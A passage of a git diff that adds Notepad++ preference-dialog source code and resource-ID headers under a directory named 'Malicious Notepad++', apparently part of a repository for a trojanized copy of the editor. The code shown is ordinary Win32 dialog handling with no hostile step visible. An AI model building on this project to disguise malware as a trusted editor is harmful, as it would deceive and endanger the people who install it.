+ bool onSeveralLines = nppGUI._delimiterSelectionOnEntireDocument; + + ::SendDlgItemMessage(_hSelf, IDC_EDIT_OPENDELIMITER, EM_LIMITTEXT, 1, 0); + ::SendDlgItemMessage(_hSelf, IDC_EDIT_CLOSEDELIMITER, EM_LIMITTEXT, 1, 0); + ::SendDlgItemMessage(_hSelf, IDC_EDIT_OPENDELIMITER, WM_SETTEXT, 0, reinterpret_cast(opener)); + ::SendDlgItemMessage(_hSelf, IDC_EDIT_CLOSEDELIMITER, WM_SETTEXT, 0, reinterpret_cast(closer)); + ::SendDlgItemMessage(_hSelf, IDD_SEVERALLINEMODEON_CHECK, BM_SETCHECK, onSeveralLines?BST_CHECKED:BST_UNCHECKED, 0); + + POINT point = getTopPoint(::GetDlgItem(_hSelf, IDD_STATIC_BLABLA), false); + _singleLineModePoint.x = point.x + 4; + _singleLineModePoint.y = point.y - 4; + + point = getTopPoint(::GetDlgItem(_hSelf, IDD_STATIC_BLABLA2NDLINE), false); + _multiLineModePoint.x = point.x + 4; + _multiLineModePoint.y = point.y - 4; + + ::GetClientRect(::GetDlgItem(_hSelf, IDC_EDIT_CLOSEDELIMITER), &_closerRect); + _closerRect.right = _closerRect.right - _closerRect.left + 4; + _closerRect.bottom = _closerRect.bottom - _closerRect.top + 4; + + ::GetClientRect(::GetDlgItem(_hSelf, IDD_STATIC_CLOSEDELIMITER), &_closerLabelRect); + _closerLabelRect.right = _closerLabelRect.right - _closerLabelRect.left + 4; + _closerLabelRect.bottom = _closerLabelRect.bottom - _closerLabelRect.top + 4; + + + ::ShowWindow(::GetDlgItem(_hSelf, IDD_STATIC_BLABLA2NDLINE),onSeveralLines?SW_SHOW:SW_HIDE); + + POINT *p = onSeveralLines?&_multiLineModePoint:&_singleLineModePoint; + ::MoveWindow(::GetDlgItem(_hSelf, IDC_EDIT_CLOSEDELIMITER), p->x, p->y, _closerRect.right, _closerRect.bottom, TRUE); + ::MoveWindow(::GetDlgItem(_hSelf, IDD_STATIC_CLOSEDELIMITER), p->x + _closerRect.right + 4, p->y + 4, _closerLabelRect.right, _closerLabelRect.bottom, TRUE); + + // + // Word Char List + // + + ::SetDlgItemTextA(_hSelf, IDC_WORDCHAR_CUSTOM_EDIT, nppGUI._customWordChars.c_str()); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_WORDCHAR_DEFAULT, BM_SETCHECK, nppGUI._isWordCharDefault ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_RADIO_WORDCHAR_CUSTOM, BM_SETCHECK, not nppGUI._isWordCharDefault ? BST_CHECKED : BST_UNCHECKED, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_WORDCHAR_CUSTOM_EDIT), not nppGUI._isWordCharDefault); + + setWarningIfNeed(); + + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string tip2show = pNativeSpeaker->getLocalizedStrFromID("word-chars-list-tip"); + if (tip2show.empty()) + tip2show = TEXT("This allows you to include additional character into current word characters while double clicking for selection or searching with \"Match whole word only\" option checked."); + + _tip = CreateToolTip(IDD_WORDCHAR_QUESTION_BUTTON, _hSelf, _hInst, const_cast(tip2show.c_str())); + if (_tip) + { + SendMessage(_tip, TTM_ACTIVATE, TRUE, 0); + SendMessage(_tip, TTM_SETMAXTIPWIDTH, 0, 200); + + // Make tip stay 30 seconds + SendMessage(_tip, TTM_SETDELAYTIME, TTDT_AUTOPOP, MAKELPARAM((30000), (0))); + } + return TRUE; + } + + case WM_CTLCOLORSTATIC: + { + HDC hdcStatic = (HDC) wParam; + HWND hwnd = reinterpret_cast(lParam); + if (hwnd == ::GetDlgItem(_hSelf, IDD_STATIC_BLABLA) || hwnd == ::GetDlgItem(_hSelf, IDD_STATIC_BLABLA2NDLINE)) + { + COLORREF bgColor = getCtrlBgColor(_hSelf); + SetTextColor(hdcStatic, RGB(0, 0, 0)); + BYTE r = GetRValue(bgColor) - 30; + BYTE g = MyGetGValue(bgColor) - 30; + BYTE b = GetBValue(bgColor) - 30; + SetBkColor(hdcStatic, RGB(r, g, b)); + return TRUE; + } + return FALSE; + } + + case WM_COMMAND : + { + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_EDIT_OPENDELIMITER: + { + TCHAR opener[2]; + ::SendDlgItemMessage(_hSelf, IDC_EDIT_OPENDELIMITER, WM_GETTEXT, MAX_PATH, reinterpret_cast(opener)); + nppGUI._leftmostDelimiter = static_cast(opener[0]); + return TRUE; + } + case IDC_EDIT_CLOSEDELIMITER: + { + TCHAR closer[2]; + ::SendDlgItemMessage(_hSelf, IDC_EDIT_CLOSEDELIMITER, WM_GETTEXT, MAX_PATH, reinterpret_cast(closer)); + nppGUI._rightmostDelimiter = static_cast(closer[0]); + return TRUE; + } + + case IDC_WORDCHAR_CUSTOM_EDIT: + { + char customText[MAX_PATH]; + ::GetDlgItemTextA(_hSelf, IDC_WORDCHAR_CUSTOM_EDIT, customText, MAX_PATH-1); + nppGUI._customWordChars = customText; + setWarningIfNeed(); + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETWORDCHARS, 0, 0); + return TRUE; + } + + default: + return FALSE; + } + } + + switch (wParam) + { + + case IDD_SEVERALLINEMODEON_CHECK : + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDD_SEVERALLINEMODEON_CHECK, BM_GETCHECK, 0, 0)); + nppGUI._delimiterSelectionOnEntireDocument = isChecked; + + ::ShowWindow(::GetDlgItem(_hSelf, IDD_STATIC_BLABLA2NDLINE),isChecked?SW_SHOW:SW_HIDE); + + POINT *p = isChecked?&_multiLineModePoint:&_singleLineModePoint; + ::MoveWindow(::GetDlgItem(_hSelf, IDC_EDIT_CLOSEDELIMITER), p->x, p->y, _closerRect.right, _closerRect.bottom, TRUE); + ::MoveWindow(::GetDlgItem(_hSelf, IDD_STATIC_CLOSEDELIMITER), p->x + _closerRect.right + 4, p->y + 4, _closerLabelRect.right, _closerLabelRect.bottom, TRUE); + + return TRUE; + } + + case IDC_RADIO_WORDCHAR_DEFAULT: + { + ::SendDlgItemMessage(_hSelf, IDC_RADIO_WORDCHAR_CUSTOM, BM_SETCHECK, BST_UNCHECKED, 0); + nppGUI._isWordCharDefault = true; + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETWORDCHARS, 0, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_WORDCHAR_CUSTOM_EDIT), not nppGUI._isWordCharDefault); + ::SetDlgItemText(_hSelf, IDD_STATIC_WORDCHAR_WARNING, TEXT("")); + return TRUE; + } + + case IDC_RADIO_WORDCHAR_CUSTOM: + { + ::SendDlgItemMessage(_hSelf, IDC_RADIO_WORDCHAR_DEFAULT, BM_SETCHECK, BST_UNCHECKED, 0); + nppGUI._isWordCharDefault = false; + ::SendMessage(::GetParent(_hParent), NPPM_INTERNAL_SETWORDCHARS, 0, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_WORDCHAR_CUSTOM_EDIT), not nppGUI._isWordCharDefault); + setWarningIfNeed(); + return TRUE; + } + + default : + return FALSE; + } + } + break; + } + + return FALSE; +} + +INT_PTR CALLBACK SettingsOnCloudDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters * nppParams = NppParameters::getInstance(); + NppGUI & nppGUI = const_cast(nppParams->getNppGUI()); + + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_CLOUDPATH_EDIT: + { + TCHAR inputDir[MAX_PATH] = {'\0'}; + TCHAR inputDirExpanded[MAX_PATH] = {'\0'}; + ::SendDlgItemMessage(_hSelf, IDC_CLOUDPATH_EDIT, WM_GETTEXT, MAX_PATH, reinterpret_cast(inputDir)); + ::ExpandEnvironmentStrings(inputDir, inputDirExpanded, MAX_PATH); + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + if (::PathFileExists(inputDirExpanded)) + { + nppGUI._cloudPath = inputDirExpanded; + nppParams->setCloudChoice(inputDirExpanded); + + generic_string message; + if (nppParams->isCloudPathChanged()) + { + message = pNativeSpeaker->getLocalizedStrFromID("cloud-restart-warning"); + if (message.empty()) + message = TEXT("Please restart Notepad++ to take effect."); + } + ::SetDlgItemText(_hSelf, IDC_SETTINGSONCLOUD_WARNING_STATIC, message.c_str()); + } + else + { + bool isChecked = (BST_CHECKED == ::SendDlgItemMessage(_hSelf, IDC_WITHCLOUD_RADIO, BM_GETCHECK, 0, 0)); + if (isChecked) + { + generic_string message = pNativeSpeaker->getLocalizedStrFromID("cloud-invalid-warning"); + if (message.empty()) + message = TEXT("Invalid path."); + ::SetDlgItemText(_hSelf, IDC_SETTINGSONCLOUD_WARNING_STATIC, message.c_str()); + nppParams->removeCloudChoice(); + } + } + return TRUE; + } + } + } + + switch (message) + { + case WM_INITDIALOG: + { + generic_string message = TEXT(""); + + bool withCloud = nppGUI._cloudPath != TEXT(""); + if (withCloud) + { + // detect validation of path + if (!::PathFileExists(nppGUI._cloudPath.c_str())) + message = TEXT("Invalid path"); + } + + ::SetDlgItemText(_hSelf, IDC_SETTINGSONCLOUD_WARNING_STATIC, message.c_str()); + + ::SendDlgItemMessage(_hSelf, IDC_NOCLOUD_RADIO, BM_SETCHECK, !withCloud ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_WITHCLOUD_RADIO, BM_SETCHECK, withCloud ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_CLOUDPATH_EDIT, WM_SETTEXT, 0, reinterpret_cast(nppGUI._cloudPath.c_str())); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CLOUDPATH_EDIT), withCloud); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_CLOUDPATH_BROWSE_BUTTON), withCloud); + } + break; + + case WM_COMMAND: + { + switch (wParam) + { + case IDC_NOCLOUD_RADIO: + { + nppGUI._cloudPath = TEXT(""); + nppParams->removeCloudChoice(); + + generic_string message; + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + if (nppParams->isCloudPathChanged()) + { + message = pNativeSpeaker->getLocalizedStrFromID("cloud-restart-warning"); + if (message.empty()) + message = TEXT("Please restart Notepad++ to take effect."); + } + ::SetDlgItemText(_hSelf, IDC_SETTINGSONCLOUD_WARNING_STATIC, message.c_str()); + + ::SendDlgItemMessage(_hSelf, IDC_CLOUDPATH_EDIT, WM_SETTEXT, 0, reinterpret_cast(nppGUI._cloudPath.c_str())); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CLOUDPATH_EDIT), false); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_CLOUDPATH_BROWSE_BUTTON), false); + } + break; + + case IDC_WITHCLOUD_RADIO: + { + NativeLangSpeaker *pNativeSpeaker = (NppParameters::getInstance())->getNativeLangSpeaker(); + generic_string message = pNativeSpeaker->getLocalizedStrFromID("cloud-invalid-warning"); + if (message.empty()) + message = TEXT("Invalid path."); + ::SetDlgItemText(_hSelf, IDC_SETTINGSONCLOUD_WARNING_STATIC, message.c_str()); + + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CLOUDPATH_EDIT), true); + ::EnableWindow(::GetDlgItem(_hSelf, IDD_CLOUDPATH_BROWSE_BUTTON), true); + } + break; + + case IDD_CLOUDPATH_BROWSE_BUTTON: + { + folderBrowser(_hSelf, TEXT("Select a folder from/to where Notepad++ reads/writes its settings"), IDC_CLOUDPATH_EDIT); + } + break; + + default: + return FALSE; + + } + } + } + return FALSE; +} + +INT_PTR CALLBACK SearchEngineChoiceDlg::run_dlgProc(UINT message, WPARAM wParam, LPARAM) +{ + NppParameters * nppParams = NppParameters::getInstance(); + NppGUI & nppGUI = const_cast(nppParams->getNppGUI()); + + if (HIWORD(wParam) == EN_CHANGE) + { + switch (LOWORD(wParam)) + { + case IDC_SEARCHENGINE_EDIT: + { + TCHAR input[MAX_PATH] = { '\0' }; + ::SendDlgItemMessage(_hSelf, IDC_SEARCHENGINE_EDIT, WM_GETTEXT, MAX_PATH, reinterpret_cast(input)); + nppGUI._searchEngineCustom = input; + return TRUE; + } + } + } + + switch (message) + { + case WM_INITDIALOG: + { + if (nppGUI._searchEngineChoice == nppGUI.se_custom) + { + if (nppGUI._searchEngineCustom.empty()) + { + nppGUI._searchEngineChoice = nppGUI.se_google; + } + } + ::SendDlgItemMessage(_hSelf, IDC_SEARCHENGINE_CUSTOM_RADIO, BM_SETCHECK, nppGUI._searchEngineChoice == nppGUI.se_custom ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_SEARCHENGINE_DUCKDUCKGO_RADIO, BM_SETCHECK, nppGUI._searchEngineChoice == nppGUI.se_duckDuckGo ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_SEARCHENGINE_GOOGLE_RADIO, BM_SETCHECK, nppGUI._searchEngineChoice == nppGUI.se_google ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_SEARCHENGINE_BING_RADIO, BM_SETCHECK, nppGUI._searchEngineChoice == nppGUI.se_bing ? BST_CHECKED : BST_UNCHECKED, 0); + ::SendDlgItemMessage(_hSelf, IDC_SEARCHENGINE_YAHOO_RADIO, BM_SETCHECK, nppGUI._searchEngineChoice == nppGUI.se_yahoo ? BST_CHECKED : BST_UNCHECKED, 0); + + ::SendDlgItemMessage(_hSelf, IDC_SEARCHENGINE_EDIT, WM_SETTEXT, 0, reinterpret_cast(nppGUI._searchEngineCustom.c_str())); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SEARCHENGINE_EDIT), nppGUI._searchEngineChoice == nppGUI.se_custom); + } + break; + + case WM_COMMAND: + { + switch (wParam) + { + case IDC_SEARCHENGINE_DUCKDUCKGO_RADIO: + { + nppGUI._searchEngineChoice = nppGUI.se_duckDuckGo; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SEARCHENGINE_EDIT), false); + } + break; + + case IDC_SEARCHENGINE_GOOGLE_RADIO: + { + nppGUI._searchEngineChoice = nppGUI.se_google; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SEARCHENGINE_EDIT), false); + } + break; + + case IDC_SEARCHENGINE_BING_RADIO: + { + nppGUI._searchEngineChoice = nppGUI.se_bing; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SEARCHENGINE_EDIT), false); + } + break; + + case IDC_SEARCHENGINE_YAHOO_RADIO: + { + nppGUI._searchEngineChoice = nppGUI.se_yahoo; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SEARCHENGINE_EDIT), false); + } + break; + + case IDC_SEARCHENGINE_CUSTOM_RADIO: + { + nppGUI._searchEngineChoice = nppGUI.se_custom; + ::EnableWindow(::GetDlgItem(_hSelf, IDC_SEARCHENGINE_EDIT), true); + } + break; + + default: + return FALSE; + } + } + break; + } + return FALSE; +} + diff --git a/Malicious Notepad++/src/WinControls/Preference/preferenceDlg.h b/Malicious Notepad++/src/WinControls/Preference/preferenceDlg.h new file mode 100644 index 0000000..9136338 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Preference/preferenceDlg.h @@ -0,0 +1,279 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "ControlsTab.h" +#include "preference_rc.h" +#include "URLCtrl.h" +#include "Parameters.h" +#include "regExtDlg.h" +#include "WordStyleDlg.h" + +class SettingsDlg : public StaticDialog +{ +public : + SettingsDlg() {}; + +private : + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class BarsDlg : public StaticDialog +{ +public : + BarsDlg() {}; +private : + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class MarginsDlg : public StaticDialog +{ +public : + MarginsDlg() {}; + virtual void destroy() { + _verticalEdgeLineNbColVal.destroy(); + }; + +private : + URLCtrl _verticalEdgeLineNbColVal; + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + void initScintParam(); +}; + +struct LangID_Name +{ + LangType _id; + generic_string _name; + LangID_Name(LangType id, generic_string name) : _id(id), _name(name){}; +}; + +class DefaultNewDocDlg : public StaticDialog +{ +public : + DefaultNewDocDlg() {}; + +private : + std::vector _langList; + void makeOpenAnsiAsUtf8(bool doIt){ + if (!doIt) + ::SendDlgItemMessage(_hSelf, IDC_CHECK_OPENANSIASUTF8, BM_SETCHECK, BST_UNCHECKED, 0); + ::EnableWindow(::GetDlgItem(_hSelf, IDC_CHECK_OPENANSIASUTF8), doIt); + }; + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class DefaultDirectoryDlg : public StaticDialog +{ +public : + DefaultDirectoryDlg() {}; + +private : + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class RecentFilesHistoryDlg : public StaticDialog +{ +public : + RecentFilesHistoryDlg() {}; + virtual void destroy() { + _nbHistoryVal.destroy(); + _customLenVal.destroy(); + }; +private : + URLCtrl _nbHistoryVal; + URLCtrl _customLenVal; + std::vector _langList; + void setCustomLen(int val); + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class LangMenuDlg : public StaticDialog +{ +public : + LangMenuDlg() {}; + virtual void destroy() { + _tabSizeVal.destroy(); + }; + +private : + LexerStylerArray _lsArray; + URLCtrl _tabSizeVal; + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + std::vector _langList; +}; + +class Highlighting : public StaticDialog +{ +public : + Highlighting() {}; + +private : + + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + + +struct strCouple { + generic_string _varDesc; + generic_string _var; + strCouple(TCHAR *varDesc, TCHAR *var): _varDesc(varDesc), _var(var){}; +}; + +class PrintSettingsDlg : public StaticDialog +{ +public : + PrintSettingsDlg():_focusedEditCtrl(0), _selStart(0), _selEnd(0){}; +private : + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + std::vector varList; + int _focusedEditCtrl; + DWORD _selStart; + DWORD _selEnd; +}; + +class BackupDlg : public StaticDialog +{ +public : + BackupDlg() {}; +private : + void updateBackupGUI(); + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + + +class AutoCompletionDlg : public StaticDialog +{ +public : + AutoCompletionDlg() {}; +private : + URLCtrl _nbCharVal; + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class MultiInstDlg : public StaticDialog +{ +public : + MultiInstDlg() {}; + +private : + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class DelimiterSettingsDlg : public StaticDialog +{ +public : + DelimiterSettingsDlg() {}; + ~DelimiterSettingsDlg() { + if (_tip) + ::DestroyWindow(_tip); + }; + +private : + POINT _singleLineModePoint, _multiLineModePoint; + RECT _closerRect, _closerLabelRect; + HWND _tip = nullptr; + + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + void detectSpace(const char *text2Check, int & nbSp, int & nbTab) const; + generic_string getWarningText(size_t nbSp, size_t nbTab) const; + void setWarningIfNeed() const; +}; + +class SettingsOnCloudDlg : public StaticDialog +{ +public : + SettingsOnCloudDlg() {}; + +private : + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class SearchEngineChoiceDlg : public StaticDialog +{ +public : + SearchEngineChoiceDlg() {}; + +private : + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); +}; + +class PreferenceDlg : public StaticDialog +{ +friend class NativeLangSpeaker; + +public : + PreferenceDlg(){}; + + void init(HINSTANCE hInst, HWND parent) { + Window::init(hInst, parent); + }; + + void doDialog(bool isRTL = false) { + if (!isCreated()) + { + create(IDD_PREFERENCE_BOX, isRTL); + goToCenter(); + } + display(); + }; + bool renameDialogTitle(const TCHAR *internalName, const TCHAR *newName); + + int getListSelectedIndex() const { + return static_cast(::SendDlgItemMessage(_hSelf, IDC_LIST_DLGTITLE, LB_GETCURSEL, 0, 0)); + }; + + void showDialogByName(const TCHAR *name) const; + void setListSelection(size_t currentSel) const; + + virtual void destroy(); + +private : + INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + void makeCategoryList(); + int32_t getIndexFromName(const TCHAR *name) const; + void showDialogByIndex(size_t index) const; + WindowVector _wVector; + BarsDlg _barsDlg; + MarginsDlg _marginsDlg; + SettingsDlg _settingsDlg; + RegExtDlg _fileAssocDlg; + LangMenuDlg _langMenuDlg; + Highlighting _highlighting; + PrintSettingsDlg _printSettingsDlg; + DefaultNewDocDlg _defaultNewDocDlg; + DefaultDirectoryDlg _defaultDirectoryDlg; + RecentFilesHistoryDlg _recentFilesHistoryDlg; + BackupDlg _backupDlg; + AutoCompletionDlg _autoCompletionDlg; + MultiInstDlg _multiInstDlg; + DelimiterSettingsDlg _delimiterSettingsDlg; + SettingsOnCloudDlg _settingsOnCloudDlg; + SearchEngineChoiceDlg _searchEngineDlg; +}; + diff --git a/Malicious Notepad++/src/WinControls/Preference/preference_rc.h b/Malicious Notepad++/src/WinControls/Preference/preference_rc.h new file mode 100644 index 0000000..cc90047 --- /dev/null +++ b/Malicious Notepad++/src/WinControls/Preference/preference_rc.h @@ -0,0 +1,353 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#ifndef PREFERENCE_RC_H +#define PREFERENCE_RC_H + +#define IDD_PREFERENCE_BOX 6000 + #define IDC_BUTTON_CLOSE (IDD_PREFERENCE_BOX + 1) + #define IDC_LIST_DLGTITLE (IDD_PREFERENCE_BOX + 2) + + +#define IDD_PREFERENCE_BAR_BOX 6100 //(IDD_PREFERENCE_BOX + 100) + #define IDC_TOOLBAR_GB_STATIC (IDD_PREFERENCE_BAR_BOX + 1) + #define IDC_CHECK_HIDE (IDD_PREFERENCE_BAR_BOX + 2) + #define IDC_RADIO_SMALLICON (IDD_PREFERENCE_BAR_BOX + 3) + #define IDC_RADIO_BIGICON (IDD_PREFERENCE_BAR_BOX + 4) + #define IDC_RADIO_STANDARD (IDD_PREFERENCE_BAR_BOX + 5) + + #define IDC_TABBAR_GB_STATIC (IDD_PREFERENCE_BAR_BOX + 6) + #define IDC_CHECK_REDUCE (IDD_PREFERENCE_BAR_BOX + 7) + #define IDC_CHECK_LOCK (IDD_PREFERENCE_BAR_BOX + 8) + #define IDC_CHECK_DRAWINACTIVE (IDD_PREFERENCE_BAR_BOX + 9) + #define IDC_CHECK_ORANGE (IDD_PREFERENCE_BAR_BOX + 10) + #define IDC_CHECK_SHOWSTATUSBAR (IDD_PREFERENCE_BAR_BOX + 11) + #define IDC_CHECK_ENABLETABCLOSE (IDD_PREFERENCE_BAR_BOX + 12) + #define IDC_CHECK_DBCLICK2CLOSE (IDD_PREFERENCE_BAR_BOX + 13) + #define IDC_CHECK_ENABLEDOCSWITCHER (IDD_PREFERENCE_BAR_BOX + 14) + #define IDC_CHECK_MAINTAININDENT (IDD_PREFERENCE_BAR_BOX + 15) + #define IDC_CHECK_KEEPINSAMEDIR (IDD_PREFERENCE_BAR_BOX + 16) + #define IDC_CHECK_STYLEMRU (IDD_PREFERENCE_BAR_BOX + 17) + #define IDC_CHECK_TAB_HIDE (IDD_PREFERENCE_BAR_BOX + 18) + #define IDC_CHECK_TAB_MULTILINE (IDD_PREFERENCE_BAR_BOX + 19) + #define IDC_CHECK_TAB_VERTICAL (IDD_PREFERENCE_BAR_BOX + 20) + #define IDC_CHECK_TAB_LAST_EXIT (IDD_PREFERENCE_BAR_BOX + 21) + #define IDC_CHECK_HIDEMENUBAR (IDD_PREFERENCE_BAR_BOX + 22) + #define IDC_LOCALIZATION_GB_STATIC (IDD_PREFERENCE_BAR_BOX + 23) + #define IDC_COMBO_LOCALIZATION (IDD_PREFERENCE_BAR_BOX + 24) + #define IDC_DOCSWITCH_GB_STATIC (IDD_PREFERENCE_BAR_BOX + 25) + #define IDC_CHECK_DOCSWITCH (IDD_PREFERENCE_BAR_BOX + 26) + #define IDC_CHECK_DOCSWITCH_NOEXTCOLUMN (IDD_PREFERENCE_BAR_BOX + 27) + +#define IDD_PREFERENCE_MULTIINSTANCE_BOX 6150 //(IDD_PREFERENCE_BOX + 150) + #define IDC_MULTIINST_GB_STATIC (IDD_PREFERENCE_MULTIINSTANCE_BOX + 1) + #define IDC_SESSIONININST_RADIO (IDD_PREFERENCE_MULTIINSTANCE_BOX + 2) + #define IDC_MULTIINST_RADIO (IDD_PREFERENCE_MULTIINSTANCE_BOX + 3) + #define IDC_MONOINST_RADIO (IDD_PREFERENCE_MULTIINSTANCE_BOX + 4) + #define IDD_STATIC_RESTARTNOTE (IDD_PREFERENCE_MULTIINSTANCE_BOX + 5) + +#define IDD_PREFERENCE_WORDCHARLIST_BOX 6160 //(IDD_PREFERENCE_BOX + 150) + #define IDC_WORDCHARLIST_GB_STATIC (IDD_PREFERENCE_WORDCHARLIST_BOX + 1) + #define IDC_RADIO_WORDCHAR_DEFAULT (IDD_PREFERENCE_WORDCHARLIST_BOX + 2) + #define IDC_RADIO_WORDCHAR_CUSTOM (IDD_PREFERENCE_WORDCHARLIST_BOX + 3) + #define IDC_WORDCHAR_CUSTOM_EDIT (IDD_PREFERENCE_WORDCHARLIST_BOX + 4) + #define IDD_WORDCHAR_QUESTION_BUTTON (IDD_PREFERENCE_WORDCHARLIST_BOX + 5) + #define IDD_STATIC_WORDCHAR_WARNING (IDD_PREFERENCE_WORDCHARLIST_BOX + 6) + +#define IDD_PREFERENCE_MARGEIN_BOX 6200 //(IDD_PREFERENCE_BOX + 200) + #define IDC_FMS_GB_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 1) + #define IDC_RADIO_SIMPLE (IDD_PREFERENCE_MARGEIN_BOX + 2) + #define IDC_RADIO_ARROW (IDD_PREFERENCE_MARGEIN_BOX + 3) + #define IDC_RADIO_CIRCLE (IDD_PREFERENCE_MARGEIN_BOX + 4) + #define IDC_RADIO_BOX (IDD_PREFERENCE_MARGEIN_BOX + 5) + + #define IDC_CHECK_LINENUMBERMARGE (IDD_PREFERENCE_MARGEIN_BOX + 6) + #define IDC_CHECK_BOOKMARKMARGE (IDD_PREFERENCE_MARGEIN_BOX + 7) + + #define IDC_CHECK_SHOWVERTICALEDGE (IDD_PREFERENCE_MARGEIN_BOX + 8) + #define IDC_NBCOLONE_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 9) + #define IDC_COLONENUMBER_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 10) + + #define IDC_VES_GB_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 11) + #define IDC_RADIO_LNMODE (IDD_PREFERENCE_MARGEIN_BOX + 12) + #define IDC_RADIO_BGMODE (IDD_PREFERENCE_MARGEIN_BOX + 13) + #define IDC_CHECK_CURRENTLINEHILITE (IDD_PREFERENCE_MARGEIN_BOX + 14) + #define IDC_CHECK_SMOOTHFONT (IDD_PREFERENCE_MARGEIN_BOX + 15) + + #define IDC_CARETSETTING_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 16) + #define IDC_WIDTH_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 17) + #define IDC_WIDTH_COMBO (IDD_PREFERENCE_MARGEIN_BOX + 18) + #define IDC_BLINKRATE_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 19) + #define IDC_CARETBLINKRATE_SLIDER (IDD_PREFERENCE_MARGEIN_BOX + 20) + #define IDC_CARETBLINKRATE_F_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 21) + #define IDC_CARETBLINKRATE_S_STATIC (IDD_PREFERENCE_MARGEIN_BOX + 22) + #define 